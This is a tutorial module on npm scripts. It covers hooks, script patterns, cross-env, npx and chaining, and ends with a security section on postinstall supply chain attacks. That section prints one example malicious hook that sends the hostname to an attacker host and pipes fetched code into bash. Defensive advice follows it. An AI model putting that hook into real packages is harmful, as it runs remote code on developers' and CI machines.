mod_05 - npm Scripts¶
npm scripts are the most underrated build tool in the Node ecosystem
Everyone reaches for Gulp, Grunt, or some JS config file when npm scripts can already handle 90% of what you need - no plugins , no complex configuration , no build dependencies. It's just shell commands. And they're already available in every Node project because npm ships with Node
running scripts¶
All scripts run via npm run <script-name>
npm run test # runs the "test" script
npm run build # runs the "build" script
npm run lint # runs the "lint" script
A few scripts have aliases: * npm start instead of npm run start * npm test instead of npm run test * npm stop instead of npm run stop * npm restart instead of npm run restart (actually runs stop + start + restart)
{
"scripts": {
"start": "node server.js",
"test": "jest",
"build": "next build"
}
}
pre and post hooks¶
npm automatically runs pre and post scripts around matching script names
{
"scripts": {
"prebuild": "rimraf dist/",
"build": "tsc",
"postbuild": "cp package.json dist/ && cp README.md dist/",
"pretest": "eslint .",
"test": "jest",
"posttest": "npm run build"
}
}
When you run npm run build, npm executes: 1. prebuild - clean the dist folder 2. build - compile TypeScript 3. postbuild - copy additional files
These hooks apply to any script, including lifecycle scripts:
{
"scripts": {
"preinstall": "node scripts/check-engine.js",
"postinstall": "node scripts/generate-assets.js",
"prepublishOnly": "npm test && npm run build"
}
}
Important: postinstall runs every time someone installs your package - not just development. If postinstall fails , the install fails. Use it sparingly for critical setup like compiling native addons or downloading platform-specific binaries. Don't use it for linting or testing (that's what prepublishOnly is for)
common script patterns¶
{
"scripts": {
"dev": "node --watch server.js",
"start": "NODE_ENV=production node server.js",
"test": "jest --coverage --verbose",
"test:watch": "jest --watch",
"test:ci": "jest --ci --coverage --maxWorkers=2",
"lint": "eslint .",
"lint:fix": "eslint . --fix",
"format": "prettier --write 'src/**/*.{js,ts,json}'",
"typecheck": "tsc --noEmit",
"build": "tsc && npm run build:assets",
"build:assets": "cp -r public/* dist/",
"clean": "rimraf dist/ coverage/ .nyc_output/",
"validate": "npm run lint && npm run typecheck && npm run test && npm run build",
"audit": "npm audit && npm outdated",
"ci": "npm ci && npm run validate"
}
}
The validate pipeline¶
A single validate script that runs everything - useful for CI and pre-commit hooks
npm run validate
# runs: lint -> typecheck -> test -> build
# if any step fails, the chain stops
In CI:
{
"scripts": {
"ci:all": "npm ci && npm run validate && npm run audit"
}
}
Cross-platform scripts¶
Shell commands don't work the same on Windows and Linux. NODE_ENV=production is Unix-only. Use packages like cross-env for compatibility:
npm install --save-dev cross-env
{
"scripts": {
"start": "cross-env NODE_ENV=production node server.js",
"dev": "cross-env NODE_ENV=development node --watch server.js"
}
}
rimraf (instead of rm -rf) and copyfiles (instead of cp -r) also work cross-platform
npx - one-off package execution¶
npx ships with npm and runs packages without installing them globally
# Instead of:
npm install -g create-react-app
create-react-app my-app
# Use:
npx create-react-app my-app
# Run a specific version of a tool
npx eslint@8.0.0 . --fix
# Run a package from the project's node_modules
npx jest --coverage
# Execute a GitHub gist
# npx github:user/repo
npx first checks if the command exists in node_modules/.bin/. If not, it downloads the package, runs it , and discards it. This is the cleanest way to use CLI tools without polluting your global npm state
When to use npx vs npm scripts¶
{
"scripts": {
"lint": "eslint .",
"test": "jest"
}
}
In a script , eslint and jest resolve from node_modules/.bin/ automatically - no need for npx. Use npx for: * One-time runs of CLI generators (create-react-app , create-next-app) * Trying packages without installing them * Running a different version than what's in your project
scripts as build pipeline¶
Chain scripts with && (stop on failure) or ; (continue on failure)
{
"scripts": {
"build": "tsc && npm run build:minify && npm run build:hash",
"build:minify": "esbuild dist/index.js --minify --outfile=dist/index.min.js",
"build:hash": "node scripts/generate-hash.js",
"deploy": "npm run validate && npm run build && npm run deploy:upload",
"deploy:upload": "node scripts/deploy.js",
"hotfix": "npm run build && npm run test && npm run deploy"
}
}
The && vs ; distinction matters in CI. If a step fails with &&, the chain stops and the script exits with an error - the expected behavior for most pipelines. If a step fails with ;, the next step runs anyway - useful for linting where you want all results , not just the first failure
environment variables¶
npm scripts inherit environment variables from the shell. You can also set them inline
# Unix inline env variables
NODE_ENV=production npm run build
# Windows - use cross-env
cross-env NODE_ENV=production npm run build
npm also injects some variables: * npm_package_name - the name field from package.json * npm_package_version - the version field * npm_lifecycle_event - the current script name (test, build, etc.) * npm_config_* - npm config values
{
"scripts": {
"version:log": "echo \"Building $npm_package_name v$npm_package_version\""
}
}
These aren't shell environment variables in the usual sense - they're npm passing package.json fields through. Useful for custom build scripts
security: postinstall RCE¶
postinstall scripts run arbitrary code when npm install executes
This is the most common supply chain attack vector in npm. A malicious package can postinstall to:
{
"scripts": {
"postinstall": "curl http://attacker.com/$(hostname) | bash"
}
}
This runs on every developer's machine and CI server that installs the package
Protection mechanisms:
# Run npm install without executing scripts
npm install --ignore-scripts
# Set globally (add to .npmrc)
ignore-scripts=true
# Audit installed packages for postinstall hooks
npm query ":attr(scripts, [postinstall])"
# List all packages with install scripts
npm ls --all --json | grep -A 1 'install\\|postinstall'
Production hardening: * Add ignore-scripts=true to your project's .npmrc for production installs * Only run scripts when you trust the package (npm install with --ignore-scripts , then manually review) * Use npm audit to check for known malicious packages * Review postinstall scripts in package-lock.json before upgrading
summary¶
- Scripts are shell commands - use
&&for chaining ,;for continuation preandposthooks run automatically around matching script names- Use
cross-envfor cross-platform environment variables npxruns packages without global install - use it for CLI generators and tools- Scripts resolve
node_modules/.bin/automatically - no need for full paths postinstallscripts are the primary supply chain attack vector - use--ignore-scriptsin productionnpm_lifecycle_eventvariable tells you which script is currently running
prerequisites¶
mod_04_package_json.md - package.json fields and structure
next -> mod_06_manage_dep.md